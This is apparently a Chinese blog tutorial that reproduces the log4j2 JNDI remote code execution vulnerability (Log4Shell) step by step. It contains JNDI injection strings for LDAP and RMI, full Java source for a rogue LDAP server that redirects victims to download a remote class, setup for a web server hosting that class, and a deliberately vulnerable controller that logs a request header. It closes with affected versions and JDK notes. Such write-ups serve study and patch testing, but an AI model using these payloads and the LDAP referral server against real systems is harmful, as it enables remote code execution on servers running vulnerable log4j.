如何復現log4j2遠程執行代碼漏洞
- 漏洞原理
- 漏洞復現
- 漏洞范圍
漏洞原理

1.攻擊偽裝一個請求體,里面含有JNDI可執行的服務,我這里主要是試了LDAP與RMI兩種,請求URL如下:
- LADP: ${jndi:ldap://127.0.0.1:1389/hello}
- RMI: ${jndi:rmi://127.0.0.1:1389/hello}
2.在應用程式恰巧輸出了請求頭或者入參的log日志時,就會觸發此URL的請求,并主動請求了攻擊者準備的LADP/RMI服務
3.利用LADP/RMI的特性,我們可以偽裝回傳值,含有要執行的惡意Class檔案地址,與Class類名
4.被攻擊的服務器找不到對應CLass檔案就會觸發JNDI的機制從遠程服務器中下載Class中
5.用我們事先準備好的web服務給被攻擊服務器提供可執行Class檔案下載,被攻擊服務器拿到到Class檔案后會觸發反序列化執行代碼,達到了遠程執行代碼的目的
漏洞復現
- 我們先準備一個無辜的被攻擊服務器(肉雞1號)
使用 jdk1.8.0_102 ,為什么是低版本?因為我目前使用的版本 jdk1.8_201根本不會觸發此BUG,里面做了個判斷!不java讓反序列化了
所以得用一個低版本jdk 低于 191的就行
pom參考log4j
<!-- 引入log4j開始 -->
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<!-- 引入log4j結束 -->
log4j.properties檔案內容
log4j.rootLogger=DEBUG, CONSOLE, ERROR, WARN, INFO, DEBUG, ALL
#-----------------------------------------------------------------------------------------------------
log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender
log4j.appender.CONSOLE.Target=System.out
log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout
log4j.appender.CONSOLE.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.ERROR=ERROR
log4j.appender.ERROR=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ERROR.File=logs/error/error.log
log4j.appender.ERROR.Threshold=ERROR
log4j.appender.ERROR.Append=true
log4j.appender.ERROR.layout=org.apache.log4j.PatternLayout
log4j.appender.ERROR.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.WARN=WARN
log4j.appender.WARN=org.apache.log4j.DailyRollingFileAppender
log4j.appender.WARN.File=logs/warn/warn.log
log4j.appender.WARN.Threshold=WARN
log4j.appender.WARN.Append=true
log4j.appender.WARN.layout=org.apache.log4j.PatternLayout
log4j.appender.WARN.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.INFO=INFO
log4j.appender.INFO=org.apache.log4j.DailyRollingFileAppender
log4j.appender.INFO.File=logs/info/info.log
log4j.appender.INFO.Threshold=INFO
log4j.appender.INFO.Append=true
log4j.appender.INFO.layout=org.apache.log4j.PatternLayout
log4j.appender.INFO.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.DEBUG=DEBUG
log4j.appender.DEBUG=org.apache.log4j.DailyRollingFileAppender
log4j.appender.DEBUG.File=logs/debugger/debugger.log
log4j.appender.DEBUG.Threshold=DEBUG
log4j.appender.DEBUG.Append=true
log4j.appender.DEBUG.layout=org.apache.log4j.PatternLayout
log4j.appender.DEBUG.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.ALL=ALL
log4j.appender.ALL=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ALL.File=logs/all/all.log
log4j.appender.file.DatePattern='.'yyyy-MM-dd
log4j.appender.ALL.Threshold=ALL
log4j.appender.ALL.Append=true
log4j.appender.ALL.layout=org.apache.log4j.PatternLayout
log4j.appender.ALL.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
- 準備一個偽裝的LADP/RMI服務端(偽裝者1號)

package com.duanxd.ldapclient.ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
/**
* 說明:偽裝者1號
*
* @author 肉段_Dxd
*/
public class ldapTest {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:80/#Calc"};
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
- 準備一個提供可執行的class檔案的web服務(偽裝者2號)

這個web服務就是個普通的web服務,設定一下埠與靜態資源的目錄,我們就可以將需要遠程執行的class放入到static目錄下,靜靜的等待人來遠程下載它
server.port=80
spring.web.resources.static-locations=classpath:static/
4.啟動偽裝者1號

啟動成功后會輸出IP與埠號,說明啟動成功了
pom需要參考一個jar,就可以啟動一個ldap服務了
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.3</version>
<scope>test</scope>
</dependency>
5.編譯需要遠程執行的代碼
- 找到你電腦的JDK 執行javac 把Calc.java編譯成Calc.class 注意java里不要寫 包路徑(此處想起了最開始學習java的時候,永遠在報錯)

讓后將編譯后Calc.class檔案放入到 準備好的偽裝者2號的 static目錄下,等待 肉雞1號 的下載
6.啟動偽裝者2號

可以自己測驗一下,啟動后的服務路徑加上/Calc.class 是否能觸發瀏覽器下載不,能觸發下載說明就ok了,等著 肉雞1號 來下載就好了!
7.啟動肉雞1號
就正常的boot啟動就行!等待著呼叫!
package com.dxd.testlog4jbuga.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
/**
* 說明:肉雞1號
*
* @author 肉段_Dxd
*/
@RestController
@RequestMapping()
public class TestLogController {
public static Logger logger = LoggerFactory.getLogger(TestLogController.class);
/**
* 測驗被攻擊
*
* @return 回應服務
*/
@PostMapping("/go")
public String go(HttpServletRequest request, String url) {
// 獲取請求頭中的物件,我們這里隨便定義dxd屬性裝我們的 URL
String headerAuthorization = request.getHeader("dxd");
logger.info("進來了");
logger.info("收到" + headerAuthorization);
logger.info("出去了");
return headerAuthorization;
}
}
8.使用PostMen請求肉雞1號,觸發遠程代碼執行
在headers中寫一個自定義的key,恰巧 肉雞1號 也取了這個dxd的key,一切就這么巧合,肉雞1號,還用log輸出了一下呢!

9.就可以看到 肉雞1號 的服務器觸發了計算器,至于為啥都是計算器,我也不知道!那就跟風也計算器吧!

原始碼地址:
鏈接:https://pan.baidu.com/s/1UbM4J7DZY1XkkxeXMivEQw
提取碼:xgvc
漏洞范圍
2.0 <= Apache log4j2 <= 2.14.1
我自測使用jdk1.8.0_201 不會觸發此BUG
肉雞1號使用 jdk1.8.0_102 可以復現此BUG,應該是是 191版本前的才會觸發
所以使用201版本jdk的小伙伴們,不用慌!
使用 spring boot架構的同學,如果使用的 Spring默認的 logback也不用慌!
昨天我查了公司所有的boot架構的專案,發現只有一位同事單獨引入了 log4j的jar
但是因為使用的jdk為201所以這漏洞也不用處理了
后續想到什么,就在再補,要陪懷孕的媳婦下樓遛彎了!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/379407.html
標籤:其他
上一篇:log4j命令注入漏洞復現

